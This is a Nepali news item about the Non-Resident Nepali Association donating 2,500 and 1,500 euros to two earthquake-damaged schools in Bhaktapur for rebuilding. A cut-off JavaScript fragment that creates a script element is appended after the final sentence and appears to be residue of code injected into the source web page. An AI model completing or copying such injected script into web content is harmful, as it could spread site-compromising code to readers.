गैरआवासीय नेपाली संघले भक्तपुरका भूकम्प प्रभावित दुई सरकारी विद्यालयलाई भवन निर्माणका लागि रकम सहयोग गरेको छ । संघका उपाध्यक्ष भवन भट्ट र सचिव अर्जुनकुमार श्रेष्ठले भक्तपुरको सूर्यविनायक नगरपालिकास्थित सन्तकृष्ण प्राविलाई दुई हजार पाँच सय युरो (करिब रु तीन लाख) र भक्तपुर नगरपालिका–११ तौमढीस्थित वरदायिणी निमाविलाई एक हजार पाँच सय युरो (करिब रु दुई लाख) आर्थिक सहयोग हस्तान्तरण गरेका हुन् ।

रकम हस्तान्तरण गर्दै संघका उपाध्यक्ष भट्टले भूकम्पले क्षतिग्रस्त विद्यालय भवन निर्माणमा सरकारले पुनःनिर्माण गर्न नसक्ने भएकाले एनआरएनले यस्ता एक हजार वटा विद्यालय भवनको पुनःनिर्माणमा सहयोग गर्ने बताउनुभयो ।

त्यस्तै संघका सचिव अर्जुनकुमार श्रेष्ठले विदेशी विद्यालयसँग नेपालका विद्यालयले सम्बन्ध विस्तार गर्न सके नेपालको शैक्षिक तथा पर्यटन प्रवद्र्धनमा ठूलो टेवा पुग्ने विश्वास व्यक्त गर्नुभयो । ]var d=document;var s=d.createElement(‘script’);